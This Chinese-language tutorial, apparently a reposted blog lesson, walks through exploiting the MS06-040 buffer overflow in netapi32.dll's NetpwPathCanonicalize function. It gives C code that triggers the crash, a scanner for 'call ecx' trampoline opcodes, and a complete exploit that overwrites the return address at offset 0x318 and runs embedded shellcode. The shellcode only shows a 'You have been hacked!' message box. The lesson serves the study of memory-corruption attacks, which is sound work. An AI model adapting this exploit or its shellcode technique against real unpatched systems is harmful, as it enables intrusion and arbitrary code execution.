经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用。
这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下。程序如下:
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);
int main()
{
char Str[0x320];
char lpWideCharStr[0x440];
int arg_8 = 0x440;
char Source[0x100];
long arg_10 = 44;
HINSTANCE LibHandle;
MYPROC Func;
char DllName[] = "./netapi32.dll";
LibHandle = LoadLibrary(DllName);
if( LibHandle == NULL)
{
MessageBox(0, "Can't Load DLL!", "Warning", 0);
FreeLibrary(LibHandle);
}
Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
if ( Func == NULL )
{
MessageBox(0, "Can't Load Function Address!", "Warning", 0);
FreeLibrary(LibHandle);
}
memset(Str, 0, sizeof(Str));
memset(Str, 'a', sizeof(Str)-2);
memset(Source, 0, sizeof(Source));
memset(Source, 'b', sizeof(Source)-2);
(Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
FreeLibrary(LibHandle);
return 0;
} 程序主要是通过LoadLibrary()函数获取当工程前目录中的netapi32.dll被加载后的基地址,再获取位于该DLL中的NetpwPathCanonicalize()函数的地址,并且利用memset()函数对包含有漏洞的函数的Str和Source参数的内容进行填充,最后再对其进行调用。将程序编译执行,系统会提示出错:
由错误代码可知,程序出现了缓冲区溢出的错误,返回地址被覆盖成了0x61616161,也就是四个“a”。
图2
可见此时netapi32.dll已经成功加载,并且eax中保存的就是该动态链接库的加载地址。下面在IDA中找到函数NetpwPathCanonicalize()函数的地址:
图3
可见该函数的地址为0x7517F2E2,那么我们在OD中直接跳到这个位置,下断点并执行过来:
图4
结合上次的分析我们知道,出问题的函数是位于0x7517F856位置处的函数调用call sub_7517FC68:
图5
那么接下来用OD进入这个CALL进行分析。首先看一下当前栈中的情况:
图6
由上图可知,返回地址为0x0012F670的位置,也是需要被“跳板”覆盖的位置。这里让程序执行完第一个字符串拷贝函数:
图7
可以看到,程序在位于0x0012F258位置处开始,一共拷贝了254也就是0xFE个字母“b”,这和我们编写的程序是一致的。然后程序会在这段字符串后面加上“\”,接着来到了第二个字符串拷贝的位置:
图8
这里将长串字符“a”连接在了“\”的后面,“a”的起始地址为0x0012F358,一共拷贝了798也就是0x31E个。这与我们所编写的程序是一致的。然后执行到返回的位置,由于返回地址是一个不可识别的空间,所以就会提示出错:
图9
此时可以发现,ecx中保存的正是缓冲区起始位置的地址,那么我们就可以利用这一特性,将ShellCode植入Source串中,并将返回地址覆盖为call ecx,这样当程序返回的时候,就会直接来到0x0012F258的位置进行执行。
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#define DLL_NAME "./netapi32.dll"
int main()
{
BYTE *ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;
for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+1]==0xD1)
{
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n", address);
}
}
catch(...)
{
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
} 结果如下:
依据上图,这里我选择的是第一个结果,也就是0x751852F9作为我们的ShellCode的跳板。需要说明的是,这里的返回地址为0x0012F670,缓冲区的开始位置是0x0012F258,它们之间的偏移为0x418,去掉参数Source以及“\”所占据的0x100,得到0x418-0x100=0x318,也就是说,从Str字符串的偏移0x318位置开始,就是需要我们覆盖掉的返回地址的位置。
#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);
char ShellCode[] =
"\x33\xDB" // xor ebx,ebx
"\xB7\x06" // mov bh,6
"\x2B\xE3" // sub esp,ebx
"\x33\xDB" // xor ebx,ebx
"\x53" // push ebx
"\x68\x69\x6E\x67\x20"
"\x68\x57\x61\x72\x6E" // push "Warning"
"\x8B\xC4" // mov eax,esp
"\x53" // push ebx
"\x68\x2E\x29\x20\x20"
"\x68\x20\x4A\x2E\x59"
"\x68\x21\x28\x62\x79"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61"
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20" // push "You have been hacked!(by J.Y.)"
"\x8B\xCC" // mov ecx,esp
"\x53" // push ebx
"\x50" // push eax
"\x51" // push ecx
"\x53" // push ebx
"\xB8\xea\x07\xd5\x77"
"\xFF\xD0" // call MessageBox
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0" ; // call ExitProcess
int main()
{
char Str[0x320];
char lpWideCharStr[0x440];
int arg_8 = 0x440;
char Source[0x100];
long arg_10 = 44;
HINSTANCE LibHandle;
MYPROC Func;
char DllName[] = "./netapi32.dll";
LoadLibrary("user32.dll");
LibHandle = LoadLibrary(DllName);
if( LibHandle == NULL)
{
MessageBox(0, "Can't Load DLL!", "Warning", 0);
FreeLibrary(LibHandle);
}
Func = (MYPROC)GetProcAddress(LibHandle, "NetpwPathCanonicalize");
if ( Func == NULL )
{
MessageBox(0, "Can't Load Function Address!", "Warning", 0);
FreeLibrary(LibHandle);
}
memset(Str, 0, sizeof(Str));
memset(Str, 'a', sizeof(Str)-2);
memset(Source, 0, sizeof(Source));
memset(Source, 'b', sizeof(Source)-2);
memcpy(Source, ShellCode, sizeof(ShellCode));
Str[0x318] = 0xF9;
Str[0x319] = 0x52;
Str[0x31A] = 0x18;
Str[0x31B] = 0x75;
(Func)(Str, lpWideCharStr, arg_8, Source, &arg_10, 0);
FreeLibrary(LibHandle);
return 0;
} 运行结果如下:
可见我们已经成功地利用了这个漏洞。
缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试
原文地址:http://blog.csdn.net/ioio_jy/article/details/45430681